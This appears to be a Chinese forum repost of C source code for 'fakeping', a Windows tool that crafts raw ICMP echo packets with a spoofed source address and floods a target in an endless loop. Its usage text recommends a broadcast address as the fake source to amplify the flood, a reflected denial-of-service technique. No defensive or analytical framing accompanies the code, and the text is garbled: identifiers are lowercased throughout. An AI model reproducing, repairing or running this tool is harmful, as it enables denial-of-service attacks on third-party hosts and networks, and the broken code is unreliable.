秀攻击工具fakeping4W2k源代码

猪猪

信息来源：南京补天
文章作者：shotgun

1. #include <winsock2.h>
   
2. #include <ws2tcpip.h>
   
3. #include <stdio.h>
   
4. #include <stdlib.h>
   
5. #define seq 0x28376839
   
6. #define status_failed 0xffff　//错误返回值
   
7. typedef struct _iphdr　　//定义ip首部
   
8. {
   
9. unsigned char h_verlen;　 //4位首部长度,4位ip版本号
   
10. unsigned char tos;　　//8位服务类型tos
    
11. unsigned short total_len;　//16位总长度（字节）
    
12. unsigned short ident;　 //16位标识
    
13. unsigned short frag_and_flags; //3位标志位
    
14. unsigned char　ttl;　　//8位生存时间 ttl
    
15. unsigned char proto;　 //8位协议 (tcp, udp 或其他)
    
16. unsigned short checksum;　//16位ip首部校验和
    
17. unsigned int sourceip;　 //32位源ip地址
    
18. unsigned int destip;　　//32位目的ip地址
    
19. }ip_header;
    
20. //
    
21. // 定义icmp首部
    
22. typedef struct _ihdr
    
23. {
    
24. byte i_type;　　　 //8位类型
    
25. byte i_code;　　 //8位代码
    
26. ushort i_cksum;　　 //16位校验和
    
27. ushort i_id;　　 //识别号（一般用进程号作为识别号）
    
28. ushort i_seq;　　 //报文序列号
    
29. ulong timestamp;　　//时间戳
    
30. }icmp_header;
    
31. 
    
32. //checksum:计算校验和的子函数
    
33. ushort checksum(ushort *buffer, int size)
    
34. {
    
35. 　unsigned long cksum=0;
    
36. 　while(size >1) {
    
37. cksum+=*buffer++;
    
38. size -=sizeof(ushort);
    
39. 　}
    
40. 　if(size ) {
    
41. cksum += *(uchar*)buffer;
    
42. 　}
    
43. 　cksum = (cksum >> 16) + (cksum & 0xffff);
    
44. 　cksum += (cksum >>16);
    
45. 　return (ushort)(~cksum);
    
46. }
    
47. //fakeping主函数
    
48. int main(int argc, char **argv)
    
49. {
    
50. int datasize,errorcode,counter,flag;
    
51. int timeout=2000, sendseq=0, packetsize=32;
    
52. char sendbuf[65535]={0};
    
53. wsadata wsadata;
    
54. socket sockraw=(socket)null;
    
55. struct sockaddr_in destaddr;
    
56. ip_header ip_header;
    
57. icmp_header icmp_header;
    
58. char fakesourceip[20],destip[20];
    
59. //接受命令行参数
    
60. if (argc<3)
    
61. {
    
62. 　printf("fakeping by shotgun\n");
    
63. 　printf("\tthis program can do ping-flooding from a fakeip\n");
    
64. 　printf("\tusing a broadcast ip as the fakeip will enhance the effect\n");
    
65. 　printf("email:\n");
    
66. 　printf("\[email]tshotgun@xici.net[/email]\n");
    
67. 　printf("homepage:\n");
    
68. 　printf("\thttp://it.xici.net\n");
    
69. 　printf("\thttp://www.patching.net\n");
    
70. 　printf("usage:\n\tfakeping.exe fakesourceip destinationip [packetsize]\n");
    
71. 　printf("example:\n");
    
72. 　printf("\tfakeping.exe 192.168.15.23 192.168.15.255\n");
    
73. 　printf("\tfakeping.exe 192.168.15.23 192.168.15.200 6400\n");
    
74. 　exit(0);
    
75. }
    
76. strcpy(fakesourceip,argv[1]);
    
77. strcpy(destip,argv[2]);
    
78. if (argc>3) packetsize=atoi(argv[3]);
    
79. if (packetsize>60000)
    
80. {
    
81. 　printf("error! packet size too big, must <60k\n");
    
82. 　exit(0);
    
83. }
    
84. printf("now fake %s　ping %s　using packet size=%d bytes\n",
    
85. 　 fakesourceip, destip, packetsize);
    
86. printf("\tctrl+c to quit\n");
    
87. //初始化sock_raw
    
88. if((errorcode=wsastartup(makeword(2,1),&wsadata))!=0)
    
89. {
    
90. 　fprintf(stderr,"wsastartup failed: %d\n",errorcode);
    
91. 　exitprocess(status_failed);
    
92. }
    
93. if((sockraw=wsasocket(af_inet,sock_raw,ipproto_raw,null,0,wsa_flag_overlapped))==invalid_socket)
    
94. {
    
95. 　fprintf(stderr,"wsasocket() failed: %d\n",wsagetlasterror());
    
96. 　exitprocess(status_failed);
    
97. }
    
98. flag=true;
    
99. //设置ip_hdrincl以自己填充ip首部
    
100. errorcode=setsockopt(sockraw,ipproto_ip,ip_hdrincl,(char *)&flag,sizeof(int));
     
101. if(errorcode==socket_error)
     
102. 　printf("set ip_hdrincl error!\n");
     
103. __try{
     
104. 　//设置发送超时
     
105. 　errorcode=setsockopt(sockraw,sol_socket,so_sndtimeo,(char*)&timeout,sizeof(timeout));
     
106. 　if (errorcode==socket_error)
     
107. 　{
     
108. 　　 fprintf(stderr,"failed to set send timeout: %d\n",wsagetlasterror());
     
109. 　 __leave;
     
110. 　}
     
111. 　memset(&destaddr,0,sizeof(destaddr));
     
112. 　destaddr.sin_family=af_inet;
     
113. 　destaddr.sin_addr.s_addr=inet_addr(destip);
     
114. 　//填充ip首部
     
115. 　ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位ip版本号，低四位首部长度
     
116. 　ip_header.total_len=htons(sizeof(ip_header)+sizeof(icmp_header));　//16位总长度（字节）
     
117. 　ip_header.ident=1;　　　　　　　//16位标识
     
118. 　ip_header.frag_and_flags=0;　　　　　　//3位标志位
     
119. 　ip_header.ttl=128;　　　　　　　//8位生存时间 ttl
     
120. 　ip_header.proto=ipproto_icmp;　　　　　 //8位协议 (tcp, udp 或其他)
     
121. 　ip_header.checksum=0;　　　　　　 //16位ip首部校验和
     
122. 　ip_header.sourceip=inet_addr(fakesourceip);　　　　//32位源ip地址
     
123. 　ip_header.destip=inet_addr(destip);　　　　　//32位目的ip地址
     
124. 　//填充icmp首部
     
125. 　icmp_header.i_type = 8;
     
126. 　icmp_header.i_code = 0;
     
127. 　icmp_header.i_cksum = 0;
     
128. 　icmp_header.i_id = 2;
     
129. 　icmp_header.timestamp = 999;
     
130. 　icmp_header.i_seq=999;
     
131. 　memcpy(sendbuf, &icmp_header, sizeof(icmp_header));
     
132. 　memset(sendbuf+sizeof(icmp_header), ‘e‘, packetsize);
     
133. 　icmp_header.i_cksum = checksum((ushort *)sendbuf, sizeof(icmp_header)+packetsize);
     
134. 　memcpy(sendbuf,&ip_header,sizeof(ip_header));
     
135. 　memcpy(sendbuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));
     
136. 　memset(sendbuf+sizeof(ip_header)+sizeof(icmp_header), ‘e‘, packetsize);
     
137. 　memset(sendbuf+sizeof(ip_header)+sizeof(icmp_header)+packetsize, 0, 1);
     
138. 　//计算发送缓冲区的大小
     
139. 　datasize=sizeof(ip_header)+sizeof(icmp_header)+packetsize;
     
140. 　ip_header.checksum=checksum((ushort *)sendbuf,datasize);
     
141. 　//填充发送缓冲区
     
142. 　memcpy(sendbuf,&ip_header, sizeof(ip_header));
     
143. 　while(1)
     
144. 　{
     
145. 　 sleep(100);
     
146. 　 printf(".");
     
147. 　 for(counter=0;counter<1024;counter++)
     
148. 　 {
     
149. 　　//发送icmp报文
     
150. 　　errorcode=sendto(sockraw,sendbuf,datasize,0,(struct sockaddr*)&destaddr,sizeof(destaddr));
     
151. 　　if (errorcode==socket_error) printf("\nsend error:%d\n",getlasterror());
     
152. 　 }
     
153. 　}
     
154. }//end of try
     
155. 　__finally {
     
156. if (sockraw != invalid_socket) closesocket(sockraw);
     
157. wsacleanup();
     
158. 　}
     
159. 　return 0;
     
160. }

复制代码